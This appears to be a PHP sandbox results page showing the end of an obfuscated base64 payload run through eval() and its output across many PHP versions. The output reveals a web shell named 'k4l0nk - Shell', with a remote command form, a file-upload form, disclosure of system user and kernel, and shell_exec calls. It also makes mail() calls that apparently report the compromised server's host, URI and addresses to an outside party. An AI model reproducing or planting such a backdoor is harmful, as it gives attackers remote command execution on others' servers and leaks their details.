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LkTKTRUeWr8oZi6ShOc12NJC3zKYgn+tRi7iK61z7ttob6K45o/G+4BsgtiIj8203h9/rfPk/BEfKIlTVpa+ZlsOFmStoxO9aq0teLO7G/sTGzZ2rG+9QStjnwjc4sWK9DttA6LxqLGAy5NRmIWLGzYcO00/nHuwM0ZIwEw+8MjG5kmE+s6rHjorIusFG3WFxTVZLJTvEgkqtSuj4QNchDyBFfBM7KYlW+qwimNelkSDyP0yGGypgxtCD8kznLEXza2pXncXDobpVa3LEryO6uVVKL5Jm58b2vTMB/ZxiZs84p953MFAZndZ5njoSzfWyPYFma3Syzr/Wv6N6eV/yK+mdXo1heQ4n8hcG+AK10YJt4jrwR+8T8WsUgyPtLlkuzU4cFz/LCDfgNdJS7KXMuc1yP8A'))); ?>
Output for 8.1.0 - 8.1.27, 8.2.0 - 8.2.17, 8.3.0 - 8.3.4
Warning: Undefined array key "HTTP_HOST" in /in/jXC7X(2) : eval()'d code on line 3 Warning: Undefined array key "REQUEST_URI" in /in/jXC7X(2) : eval()'d code on line 4 Warning: Undefined array key "SERVER_ADDR" in /in/jXC7X(2) : eval()'d code on line 9 Deprecated: gethostbyname(): Passing null to parameter #1 ($hostname) of type string is deprecated in /in/jXC7X(2) : eval()'d code on line 9 Warning: Undefined array key "REMOTE_ADDR" in /in/jXC7X(2) : eval()'d code on line 10 Deprecated: gethostbyname(): Passing null to parameter #1 ($hostname) of type string is deprecated in /in/jXC7X(2) : eval()'d code on line 10 Fatal error: Uncaught Error: Call to undefined function mail() in /in/jXC7X(2) : eval()'d code:11 Stack trace: #0 /in/jXC7X(2): eval() #1 {main} thrown in /in/jXC7X(2) : eval()'d code on line 11
Process exited with code 255.
Output for 8.0.0 - 8.0.12, 8.0.14 - 8.0.30
Warning: Undefined array key "HTTP_HOST" in /in/jXC7X(2) : eval()'d code on line 3 Warning: Undefined array key "REQUEST_URI" in /in/jXC7X(2) : eval()'d code on line 4 Warning: Undefined array key "SERVER_ADDR" in /in/jXC7X(2) : eval()'d code on line 9 Warning: Undefined array key "REMOTE_ADDR" in /in/jXC7X(2) : eval()'d code on line 10 Fatal error: Uncaught Error: Call to undefined function mail() in /in/jXC7X(2) : eval()'d code:11 Stack trace: #0 /in/jXC7X(2): eval() #1 {main} thrown in /in/jXC7X(2) : eval()'d code on line 11
Process exited with code 255.
Output for 8.0.13
Warning: Undefined array key "HTTP_HOST" in /in/jXC7X(2) : eval()'d code on line 3 Warning: Undefined array key "REQUEST_URI" in /in/jXC7X(2) : eval()'d code on line 4 Warning: Undefined array key "SERVER_ADDR" in /in/jXC7X(2) : eval()'d code on line 9 Warning: Undefined array key "REMOTE_ADDR" in /in/jXC7X(2) : eval()'d code on line 10 Warning: mail(): Could not execute mail delivery program '/usr/sbin/sendmail -t -i' in /in/jXC7X(2) : eval()'d code on line 11 Warning: mail(): Could not execute mail delivery program '/usr/sbin/sendmail -t -i' in /in/jXC7X(2) : eval()'d code on line 12 <title>k4l0nk - Shell</title><br><font size=2 color=#888888><b>SAFE_MODE : OFF</b><br><font size=2 color=#888888><b>User : uid=0() gid=0()</b><br><font size=2 color=#888888><b>Uname : Linux php_shell 4.8.6-1-ARCH #1 SMP PREEMPT Mon Oct 31 18:51:30 CET 2016 x86_64</b><br><form method="POST" action=""><font size=2 color=#888888><b>Command</b><br><input type="text" name="cmd"><input type="Submit" name="command" value="cok"></form><form enctype="multipart/form-data" action method=POST><font size=2 color=#888888><b>Upload File</b></font><br><input type=hidden name="submit"><input type=file name="userfile" size=28><br><font size=2 color=#888888><b>New name: </b></font><input type=text size=15 name="newname" class=ta><input type=submit class="bt" value="Upload"></form> Warning: shell_exec(): Unable to execute 'ls -la' in /in/jXC7X(2) : eval()'d code on line 64 <pre><font size=3 color=#000000></font></pre>
Output for 7.4.27 - 7.4.33
Notice: Undefined index: HTTP_HOST in /in/jXC7X(2) : eval()'d code on line 3 Notice: Undefined index: REQUEST_URI in /in/jXC7X(2) : eval()'d code on line 4 Notice: Undefined index: SERVER_ADDR in /in/jXC7X(2) : eval()'d code on line 9 Notice: Undefined index: REMOTE_ADDR in /in/jXC7X(2) : eval()'d code on line 10 Warning: mail() has been disabled for security reasons in /in/jXC7X(2) : eval()'d code on line 11 Warning: mail() has been disabled for security reasons in /in/jXC7X(2) : eval()'d code on line 12 <title>k4l0nk - Shell</title><br><font size=2 color=#888888><b>SAFE_MODE : OFF</b><br><font size=2 color=#888888><b>User : uid=0() gid=0()</b><br><font size=2 color=#888888><b>Uname : Linux php_shell 4.8.6-1-ARCH #1 SMP PREEMPT Mon Oct 31 18:51:30 CET 2016 x86_64</b><br><form method="POST" action=""><font size=2 color=#888888><b>Command</b><br><input type="text" name="cmd"><input type="Submit" name="command" value="cok"></form><form enctype="multipart/form-data" action method=POST><font size=2 color=#888888><b>Upload File</b></font><br><input type=hidden name="submit"><input type=file name="userfile" size=28><br><font size=2 color=#888888><b>New name: </b></font><input type=text size=15 name="newname" class=ta><input type=submit class="bt" value="Upload"></form> Warning: shell_exec(): Unable to execute 'ls -la' in /in/jXC7X(2) : eval()'d code on line 64 <pre><font size=3 color=#000000></font></pre>
Output for 7.3.32 - 7.3.33, 7.4.26
Warning: mail(): Could not execute mail delivery program '/usr/sbin/sendmail -t -i' in /in/jXC7X(2) : eval()'d code on line 11 Warning: mail(): Could not execute mail delivery program '/usr/sbin/sendmail -t -i' in /in/jXC7X(2) : eval()'d code on line 12 <title>k4l0nk - Shell</title><br><font size=2 color=#888888><b>SAFE_MODE : OFF</b><br><font size=2 color=#888888><b>User : uid=0() gid=0()</b><br><font size=2 color=#888888><b>Uname : Linux php_shell 4.8.6-1-ARCH #1 SMP PREEMPT Mon Oct 31 18:51:30 CET 2016 x86_64</b><br><form method="POST" action=""><font size=2 color=#888888><b>Command</b><br><input type="text" name="cmd"><input type="Submit" name="command" value="cok"></form><form enctype="multipart/form-data" action method=POST><font size=2 color=#888888><b>Upload File</b></font><br><input type=hidden name="submit"><input type=file name="userfile" size=28><br><font size=2 color=#888888><b>New name: </b></font><input type=text size=15 name="newname" class=ta><input type=submit class="bt" value="Upload"></form> Warning: shell_exec(): Unable to execute 'ls -la' in /in/jXC7X(2) : eval()'d code on line 64 <pre><font size=3 color=#000000></font></pre>
Output for 7.2.29 - 7.2.33, 7.3.16 - 7.3.31, 7.4.3 - 7.4.25
Notice: Undefined index: HTTP_HOST in /in/jXC7X(2) : eval()'d code on line 3 Notice: Undefined index: REQUEST_URI in /in/jXC7X(2) : eval()'d code on line 4 Notice: Undefined index: SERVER_ADDR in /in/jXC7X(2) : eval()'d code on line 9 Notice: Undefined index: REMOTE_ADDR in /in/jXC7X(2) : eval()'d code on line 10 Warning: mail() has been disabled for security reasons in /in/jXC7X(2) : eval()'d code on line 11 Warning: mail() has been disabled for security reasons in /in/jXC7X(2) : eval()'d code on line 12 <title>k4l0nk - Shell</title><br><font size=2 color=#888888><b>SAFE_MODE : OFF</b><br><font size=2 color=#888888><b>User : uid=0(root) gid=0(root)</b><br><font size=2 color=#888888><b>Uname : Linux php_shell 4.8.6-1-ARCH #1 SMP PREEMPT Mon Oct 31 18:51:30 CET 2016 x86_64</b><br><form method="POST" action=""><font size=2 color=#888888><b>Command</b><br><input type="text" name="cmd"><input type="Submit" name="command" value="cok"></form><form enctype="multipart/form-data" action method=POST><font size=2 color=#888888><b>Upload File</b></font><br><input type=hidden name="submit"><input type=file name="userfile" size=28><br><font size=2 color=#888888><b>New name: </b></font><input type=text size=15 name="newname" class=ta><input type=submit class="bt" value="Upload"></form> Warning: shell_exec(): Unable to execute 'ls -la' in /in/jXC7X(2) : eval()'d code on line 64 <pre><font size=3 color=#000000></font></pre>
Output for 5.3.0 - 5.3.29, 5.4.0 - 5.4.45, 5.5.0 - 5.5.38, 5.6.0 - 5.6.40, 7.0.0 - 7.0.33, 7.1.0 - 7.1.33, 7.2.0 - 7.2.26, 7.3.0 - 7.3.13, 7.4.0 - 7.4.1
Notice: Undefined index: HTTP_HOST in /in/jXC7X(2) : eval()'d code on line 3 Notice: Undefined index: REQUEST_URI in /in/jXC7X(2) : eval()'d code on line 4 Notice: Undefined index: SERVER_ADDR in /in/jXC7X(2) : eval()'d code on line 9 Notice: Undefined index: REMOTE_ADDR in /in/jXC7X(2) : eval()'d code on line 10 Warning: mail() has been disabled for security reasons in /in/jXC7X(2) : eval()'d code on line 11 Warning: mail() has been disabled for security reasons in /in/jXC7X(2) : eval()'d code on line 12 <title>k4l0nk - Shell</title><br><font size=2 color=#888888><b>SAFE_MODE : OFF</b><br><font size=2 color=#888888><b>User : uid=0(root) gid=0(root)</b><br><font size=2 color=#888888><b>Uname : Linux php_shell 4.8.6-1-ARCH #1 SMP PREEMPT Mon Oct 31 18:51:30 CET 2016 x86_64</b><br><form method="POST" action=""><font size=2 color=#888888><b>Command</b><br><input type="text" name="cmd"><input type="Submit" name="command" value="cok"></form><form enctype="multipart/form-data" action method=POST><font size=2 color=#888888><b>Upload File</b></font><br><input type=hidden name="submit"><input type=file name="userfile" size=28><br><font size=2 color=#888888><b>New name: </b></font><input type=text size=15 name="newname" class=ta><input type=submit class="bt" value="Upload"></form><pre><font size=3 color=#000000></font></pre>
Output for 4.3.0 - 4.3.11, 4.4.0 - 4.4.9, 5.0.0 - 5.0.5, 5.1.0 - 5.1.6, 5.2.0 - 5.2.17
Notice: Undefined index: HTTP_HOST in /in/jXC7X(2) : eval()'d code on line 3 Notice: Undefined index: REQUEST_URI in /in/jXC7X(2) : eval()'d code on line 4 Notice: Undefined index: SERVER_ADDR in /in/jXC7X(2) : eval()'d code on line 9 Notice: Undefined index: REMOTE_ADDR in /in/jXC7X(2) : eval()'d code on line 10 Warning: mail() has been disabled for security reasons in /in/jXC7X(2) : eval()'d code on line 11 Warning: mail() has been disabled for security reasons in /in/jXC7X(2) : eval()'d code on line 12 <title>k4l0nk - Shell</title><br><font size=2 color=#888888><b>SAFE_MODE : OFF</b><br><font size=2 color=#888888><b>User : uid=1000() gid=33()</b><br><font size=2 color=#888888><b>Uname : Linux php_shell 4.6.2-1-ARCH #1 SMP PREEMPT Wed Jun 8 08:40:59 CEST 2016 x86_64</b><br><form method="POST" action=""><font size=2 color=#888888><b>Command</b><br><input type="text" name="cmd"><input type="Submit" name="command" value="cok"></form><form enctype="multipart/form-data" action method=POST><font size=2 color=#888888><b>Upload File</b></font><br><input type=hidden name="submit"><input type=file name="userfile" size=28><br><font size=2 color=#888888><b>New name: </b></font><input type=text size=15 name="newname" class=ta><input type=submit class="bt" value="Upload"></form><pre><font size=3 color=#000000></font></pre>

preferences:
305.16 ms | 405 KiB | 456 Q